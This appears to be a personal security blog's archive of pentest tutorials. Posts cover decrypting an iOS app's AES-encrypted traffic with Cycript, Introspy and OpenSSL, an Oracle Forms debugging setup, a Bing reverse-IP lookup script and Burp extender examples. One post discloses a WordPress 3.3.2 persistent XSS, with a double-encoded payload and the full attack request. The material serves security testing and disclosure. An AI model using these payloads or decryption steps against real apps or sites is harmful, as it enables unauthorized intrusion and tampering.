Thursday, 4 December 2014

iOS - Decrypting AES HTTP data


These days many smartphone applications implement some cryptographic encryption on the data in transit even though if SSL is in place. Now if you are doing a vulnerability assessment of such application, it becomes necessary to break this encryption in order to manipulate parameter values and uncover vulnerabilities.

One of my friend asked me if I could help him in decrypting the traffic of one such application. This being the 4th application that I came across with such behavior so thought of writing a blog post about it.

There can be multiple approach to workaround this encryption but we will cover the following two methods that I generally follow,
  1. Decrypting the data with Cycript.
  2. Obtaining key and encryption info using Introspy and then decrypting/re-encrypting the data with OpenSSL.
We shall cover each method separately in this blog post.

1. Decrypting data with Cycript


Data decryption with Cycript can be a bit easier as Key/IV, passphrase or other required conditions are already set. Your first goal will be to identify the encryption used which can be achieved by identifying the dumped headers. In this case, the encryption used was AES-256.

Next, identify methods that encrypt/decrypt requests and responses. To make sure that the identified methods are the right one, we can use THEOS logify to log these methods in system logs and check for argument types and values.

Once you have identified these details, let us see how we can decrypt the data with Cycript.

# Store encrypted data in a variable
cy# var encdata = "HHNxq8n5ow95Nw9meMu6GfHGHN+5SpF/gX3vPOONk0vmicGgJdsmT/BMYR6M9jNZT82v6PDnS1POnhI4i8gK0VicZBlxI7zn43KECpfJLM7HFXt4AMQL1/Ad/rTwljwRwE9TC0dALCU9Sekkccv8vva5w4RIFuBwcj4zczj+MSuZrsYuWRwjAj9N1QYeu2X7J+QtPUwxt7mKXW6x252lQg==";  

# Convert NSString to NSData
cy# var mydata = [encdata dataUsingEncoding:4];

# Call class method with required parameters
cy# var decdata = [OLDataEncryptor decryptResponse:mydata];

# Convert the output data from NSData back to NSString
cy# var ptstring = [[NSString alloc] initWithData:decdata encoding:4];

The output will contain the decrypted data in plaintext. To encrypt the plaintext data (or data with your added payloads), similar approach was there.

# Store encrypted data in a variable
cy# var ptstring = “name=aditya&uname=oldmanlab'&isnewuser=true“;  

# Convert NSString to NSData
cy# var mydata = [ptstring dataUsingEncoding:4];

# Get instance of a class. choose() will return an array (if multiple instances, so pick up the right one)
cy# var myobj = choose(OLDataEncryptor);

# Call instance method with required parameters
cy# var encdata = [myobj encryptRequest:mydata];

# Convert the output data from NSData back to NSString
cy# var encrequest = [[NSString alloc] initWithData:encdata encoding:4];

To automate the entire process, a shell script can be written. For example, following shell script will automate the data decryption,

#!/bin/sh

data=$1

echo "var encdata = @\"$data\";" > /tmp/oldman.cy
echo -e "var mydata = [encdata dataUsingEncoding:4];" >> /tmp/oldman.cy
echo -e "var decdata = [OLDataEncryptor decryptResponse:mydata]" >> /tmp/oldman.cy
echo -e "var ptstring = [[NSString alloc] initWithData:decdata encoding:4];" >> /tmp/oldman.cy

cycriptoutput=`cycript -p $2 /tmp/oldman.cy`

You run the above shell script with "bash decrypt.sh encrypted_base64_data pid_of_app" 

2. Introspy + OpenSSL


Since Introspy performs Crypto profiling, most of the cryptographic related details that we require will be logged inside the introspy.db file. Generate a report out of this SQLite database using Introspy Analyzer. Open report.html file with any of your browser and you will see details similar to the one given below.


Click on Hide All button as we are only interested in the Crypto related logged details. You can see that there are three calls registered. As you can guess, one for generating key and other for actual encryption and decryption of the data.  


Following screenshot shows the argument values of PBKDF method call and a Base64 encoded derived key.


Let us decode and convert the key to hex bytes as shown below. It looks like 32 bytes i.e. 256-bit key.

echo -n "+P3+CC+wKFhkZMhj2PqcHur9e6WbZAUQlmfoLPLWVgc=" | base64 -D | xxd -p


To verify if the derived key is correct, generate a key based on available values i.e. salt, password and iteration counts (rounds).


So the 256-bit key is f8fdfe082fb028586464c863d8fa9c1eeafd7ba59b6405109667e82cf2d65607 which is exactly what we have.

Looking at the other method call, we can see the encrypted data and the resultant plaintext data as logged by the Introspy.

 

Let us go ahead and decrypt the data using OpenSSL with the following command,

echo -n encrypted_base64_data | base64 -D | openssl aes-256-cbc -d -nosalt -K our_key -iv 0


Yes, we got the command right. Plaintext data logged by Introspy and the plaintext data output from OpenSSL are similar. Similarly, we can encrypt the data back with the following command,

echo -n plaintext_data | openssl aes-256-cbc -e -nosalt -K our_key -iv 0 | base64


You can easily automate this with a shell script. However, I went ahead and checked for a script in python so that we can create a Burp suite extension out of it.

import M2Crypto
import binascii
from base64 import b64encode, b64decode

ENC=1
DEC=0

def AES_build_cipher(key, iv, op=ENC):
 return M2Crypto.EVP.Cipher(alg='aes_256_cbc', key=key, iv=iv, op=op)

def AES_encryptor(key,msg, iv=None):
 #Decode the key and iv
 key = b64decode(key)
 if iv is None:
  iv = '\0' * 16
 else:
  iv = b64decode(iv)

 # Return the encryption function
 def encrypt(data):
  cipher = AES_build_cipher(key, iv, ENC)
  v = cipher.update(data)
  v = v + cipher.final()
  del cipher
  v = b64encode(v)
  return v

 print "AES encryption successful\n"
 return encrypt(msg)
        
def AES_decryptor(key,msg, iv=None):
 #Decode the key and iv
 key = b64decode(key)
 if iv is None:
  iv = '\0' * 16
 else:
  iv = b64decode(iv)

 # Return the decryption function
 def decrypt(data):
  data = b64decode(data)
  cipher = AES_build_cipher(key, iv, DEC)
  v = cipher.update(data)
  v = v + cipher.final()
  del cipher
  return v

 print "AES dencryption successful\n"
 return decrypt(msg)
        
if __name__ == "__main__":
 key="+P3+CC+wKFhkZMhj2PqcHur9e6WbZAUQlmfoLPLWVgc="
 
 msg="HHNxq8n5ow95Nw9meMu6GfHGHN+5SpF/gX3vPOONk0vmicGgJdsmT/BMYR6M9jNZT82v6PDnS1POnhI4i8gK0VicZBlxI7zn43KECpfJLM7HFXt4AMQL1/Ad/rTwljwRwE9TC0dALCU9Sekkccv8vva5w4RIFuBwcj4zczj+MSuZrsYuWRwjAj9N1QYeu2X7J+QtPUwxt7mKXW6x252lQg=="

 dec = AES_decryptor(key,msg=msg)
 print dec
 enc = AES_encryptor(key,msg=dec)
 print enc
 print msg
Reference for Python code: http://passingcuriosity.com/2009/aes-encryption-in-python-with-m2crypto/

 

Saturday, 8 November 2014

trying to overwrite '/Applications/._.DS_Store' error while installing iRET and Snoop-it simultaneously

If you try to install iRET when Snoop-it is already installed or the other way around, you will notice an error message as mentioned in the title of this post. For example, you will see the following error message when trying to install iRET using dpkg and Snoop-it already installed,

trying to overwrite '/Applications/._.DS_Store', which is also in package de.nesolabs.snoopit

 
As you would have already guessed, ._.DS_Store is a file in both packages i.e. iRET and Snoop-it. So until an updated package is released by @aykay or @S3Jensen, we can manually unpack and repack iRET to resolve this issue.

root@kali#dpkg-deb -x iRET.deb iRET_tmp/                    #Extract package contents.
root@kali#dpkg-deb -e iRET.deb iRET_tmp/DEBIAN/             #Extract control file.
root@kali#find iRET_tmp/ -name "*DS_Store" -type f -delete  #Delete all DS_Store files.
root@kali#vi iRET_tmp/DEBIAN/control                        #Remove double quotes from the version tag.
root@kali#dpkg-deb -b iRET_tmp/ updated_iRET.deb            #Build a new deb file.


Install this updated_iRET.deb file on your iOS device and it should now install without any error.

Sunday, 7 July 2013

Oracle Forms application security assessment setup

Recently, I came across an application assessment which was based on an Oracle Forms technology with JInitiator 1.3.1.26. This post quickly describes few setup options to pentest such applications.

Facts
  • Oracle Forms can be configured at server to use JRE or JInitiator based on the requirement. 
  • When in HTTP mode, Oracle Forms uses a proprietary encryption scheme to encrypt the data in transit.
  • When configured to use JInitiator and HTTP mode, it is painful to do assessment.
 In HTTPS mode with JInitiator, you can setup an intercepting proxy such as BURP suite and do the assessment. In its default installation, JInitiator is configured to use browser proxy settings. This can be changed through the JInitiator menu under the Windows Control Panel as shown below,


While in HTTP mode with JInitiator, you are left with little choice.One way is to configure JInitiator to open a debug port and then connect with a debugger. JSwat can be a good choice but in my case it crashed the application everytime and so did the Netbeans native debugger. Only JDB worked for me using below mentioned steps,

In the JInitiator control panel, under the Basic tab, specify the following Java Runtime Parameters,

-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5000


Click on Apply. Then connect to the given port (5000) using any popular Java debugger or using JDB with the following command,

jdb.exe -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=5000

Once you have the connection in the debugger, you know where to move ahead.

Summary

1. Oracle Forms + JInitiator/JRE + HTTPS = You can use any browser and a BURP proxy
2. Oracle Forms + JInitiator + HTTP = Method shown in this blog
3. Oracle Forms + JRE + HTTP = You can use JavaSnoop

Sunday, 2 September 2012

Reverse IP lookup using new Bing API




Bing has recently changed it's API and has moved it to datamarket.azure.com. It allows 5000 searches/month for free. The python script given below will find all the domains hosted at a user specified IP address.

A reverse lookup can be made using an IP address or a domain name. To run this script, you will require to register at the above mentioned website in order to get the account key.

import urllib2, socket,sys,base64
from xml.dom.minidom import parse, parseString


def showhelp():
        print """
#####################################################
#  Reverse Host python script by oldman lab0ratory  #
#             visit oldmanlab.blogspot.com          #
#####################################################
Usage: python revhost.py -key [ACCOUNT_KEY] [OPTIONS]

[OPTIONS]

-ip     [IP ADDRESS]
-domain [DOMAIN NAME]
"""

def bing(account_key,ip):
    sites = []
    skip = 0
    top = 50

    while skip < 200:
          url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"%
          (ip,top,skip)
          request = urllib2.Request(url)
          auth = base64.encodestring("%s:%s" % (account_key, account_key)).replace("\n", "")
          request.add_header("Authorization", "Basic %s" % auth)
          res = urllib2.urlopen(request)
          data = res.read()

          xmldoc = parseString(data)
          site_list = xmldoc.getElementsByTagName('d:Url')
          for site in site_list:
              domain = site.childNodes[0].nodeValue
              domain = domain.split("/")[2]
              if domain not in sites:
                 sites.append(domain)

          skip += 50

    print "Total domains found: %s \n\n" %(len(sites))
    for site in sites:
        print site


def options(arguments):
   try:
    count = 0
    ip = ""
    account_key = ""
    for arg in arguments:
        if arg == "-ip":
           ip = arguments[count+1]
        elif arg == "-domain":
           ip = socket.gethostbyname(arguments[count+1])
        elif arg == "-key":
           account_key = arguments[count+1]
        count = count+1
    bing(account_key,ip)
   except:
    print "something went wrong"

if __name__ == "__main__":
   if len(sys.argv) <= 3 or "-key" not in sys.argv:
      showhelp()
      sys.exit()
   else:
      options(sys.argv)


You can download the script from here

Saturday, 2 June 2012

Persistent XSS in wordpress 3.3.2 [LOW]

There is a persistent XSS vulnerability in the wordpress version 3.3.2. However, the severity of this finding is very LOW. Reported this on April 26th and they confirmed it but then got no further reply from them (may be as this has LOW severity so who cares ;-) )

The detail is as follow,

a) Login into an admin account

b) Navigate to Links -> Links Categories

c) Fill up the required details and intercept the request with a BURP suite.

d) The injectable parameter is slug. If you inject <script>alert(1)</script> as a value to parameter "slug", the application strips it off and the value becomes alert1. 

But if the payload is double encode then ;-) 
<script>alert(1)</script> when converted to %253cscript%253ealert%25281%2529%253c%252fscript%253e bypasses this xss protection. 

The following request shows the raw HTTP request from BURP along with the vulnerable parameter and payload marked in bold.

POST /wordpress/wp-admin/edit-tags.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post
Cookie: blahblahbcookieblah
Content-Type: application/x-www-form-urlencoded
Content-Length: 379

action=editedtag&tag_ID=2&taxonomy=link_category&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dlink_category&_wpnonce=83974d7f8f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Faction%3Dedit%26taxonomy%3Dlink_category%26tag_ID%3D2%26post_type%3Dpost&name=Blogroll&slug=injecthere%253cscript%253ealert%25281%2529%253c%252fscript%253e&description=sectest&submit=Update

Sunday, 22 April 2012

Basics of Burp Extender (Part 2)




In the first part of a Basics of Burp Extender, we have created a sample burp extender to drop all the HTTP request to "www.facebook.com". We have implemented the processProxyMessage method of IBurpExtender interface.

In this part, we will implement processHttpMessage and registerExtenderCallbacks methods of IBurpExtender interface. The end goal of this sample example is "Intercept the HTTP request, check if it is in target scope, if not in scope then add it to the target scope list and passively scan the response."

/* 
 * A simple burp extender to intercept the request,
 * add it to the target scope and scan passively.
 */
 
package burp;
import java.io.*;
import java.net.URL;

public class BurpExtender
  {
     public IBurpExtenderCallbacks mycallbacks;

     //This method is invoked whenever proxy tool (proxy tab) makes an HTTP request or receives a response.
     public void processHttpMessage(java.lang.String toolName,
                           boolean messageIsRequest,
                           IHttpRequestResponse messageInfo) 
 {
   if(messageIsRequest)
     {
               //Methods of IBurpExtenderCallbacks must be wrapped inside try catch block as they throws java.lang.Exception
               try
                {
                   URL url = messageInfo.getUrl(); //Get the URL of the intercepted request
                                  
                   if(!mycallbacks.isInScope(url)) //Check whether it is in scope or not?
                     {
                        mycallbacks.includeInScope(url); //add the target URL to scope
                        
                        //passively scan the target URL
                        mycallbacks.doPassiveScan(messageInfo.getHost(),
                                    messageInfo.getPort(),false,
                                    messageInfo.getRequest(),
                                    messageInfo.getResponse());
                     }
                 }
               catch(Exception e)
                 {
                    e.printStackTrace();
                 }
      }
 }
    
    /*This method is invoked at startup. It is needed if you are implementing any method of IBurpExtenderCallbacks interface.
    In this example, we have implemented three such methods of this interface.*/
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
        {
          mycallbacks = callbacks;
        }
  }

This was rather a very sample example. In the next part we will implement newScanIssue method of IBurpExtender interface and few other things (i am not sure what other things ;-) )

Wednesday, 18 April 2012

Basics of Burp Extender (Part 1)




Introduction

This monster (Burp Suite) does not need any introduction, it is itself a beauty and blessings for any web security analyst. If that is not enough, it allows other to extend it's functionalities by exposing certain interfaces. These are known as Burp Extender.

There are six such interfaces available which are as follows,

1) IBurpExtender
2) IBurpExtenderCallbacks
3) IHttpRequestResponse
4) IScanIssue
5) IScanQueueItem
6) IMenuItemHander

Each of this interface has some of the fields and methods implemented to carry out certain tasks. Using the above mentioned interfaces we can extend Burp Suite and can get our things done. Everything is Java here.

A sample extender which extracts the HTML comments from the response is shown here. The purpose of their post was to highlight the steps needed to follow in order to get your extender working. However, their purpose does not fulfil as if you follow the steps mentioned by them then you will get the following error "Exception in thread "main" java.lang.NoClassDefFoundError: burp/StartBurp".

So in this write up, we will see few examples on how to utilize these interfaces and get the best out of this beast :)

1.... A sample application to drop any HTTP request to www.facebook.com

/* 
 * A simple burp extender to drop any HTTP request to facebook.com
 */
 
package burp;
import java.io.*;

public class BurpExtender
 {
      //At-least one of the 5 methods described in IBurpExtender interface should be present.
      public byte[] processProxyMessage(int messageReference,
                           boolean messageIsRequest,
                           java.lang.String remoteHost,
                           int remotePort,
                           boolean serviceIsHttps,
                           java.lang.String httpMethod,
                           java.lang.String url,
                           java.lang.String resourceType,
                           java.lang.String statusCode,
                           java.lang.String responseContentType,
                           byte[] message,
                           int[] action) 
      {
         if(messageIsRequest)
           {      
                                   
              if(remoteHost.equals("www.facebook.com"))
                { 
                    action[0]=3; //An array whose default action is set to 3 i.e ACTION_DROP variable of IBurpExtender
                }
           }
         return message;
      }
 }



Let us dissect the above code

Any burp extender must have one of the 5 methods described in IBurpExtender interface. In the above example, we have used processProxyMessage() method which is invoked by Burp Proxy whenever a client request or server response is received.

This mean that whenever Burp receive any request or response, it will look for this method in the burp extender and if found one then the code block inside this method will get executed.

The last parameter of the processProxyMessage() method is an array of type integer. There are a series of integer variables defined inside IBurpExtender interface which can be used to guide Burp on what to do with the received request/response. The variables and their values are as follows

ACTION_FOLLOW_RULES has value 0
ACTION_DO_INTERCEPT has value 1
ACTION_DONT_INTERCEPT has value 2
ACTION_DROP has value 3
ACTION_FOLLOW_RULES_AND_REHOOK has value 4
ACTION_DO_INTERCEPT_AND_REHOOK has value 5
ACTION_DONT_INTERCEPT_AND_REHOOK has value 6



How to get the above code working

I am using Linux as the operating system to create this burp extender. So the steps for windows may vary accordingly.

a) Create a folder (e.g. oldmanlab) and Save the above code as BurpExtender.java.
b) Create a folder named burp inside the oldmanlab folder.
c) Download all these (1, 2, 3, 4, 5, 6) .java files and save them under the "oldmanlab\burp\" folder
d) Compile the BurpExtender.java file to its class file using the command "javac BurpExtender.java".
e) Copy the BurpExtender.class file to the burp folder "mv BurpExtender.class burp/"
f) Create the final jar file using the command "jar -cf burpextender.jar burp/BurpExtender.class".
g) Now open up the burpsuite with this extender "java -classpath burpextender.jar:burpsuite_v1.4.01.jar burp.StartBurp"

If everything goes well then you will see that alert window will glow up once the burp opens up. It will display the message of the method found and the methods not implemented.



Now configure your browser to tunnel through burp suite and open up "www.facebook.com". You will see that the request to facebook will be dropped by Burp Suite.

That is all for the first part. In the next part we will create some more samples using other interfaces.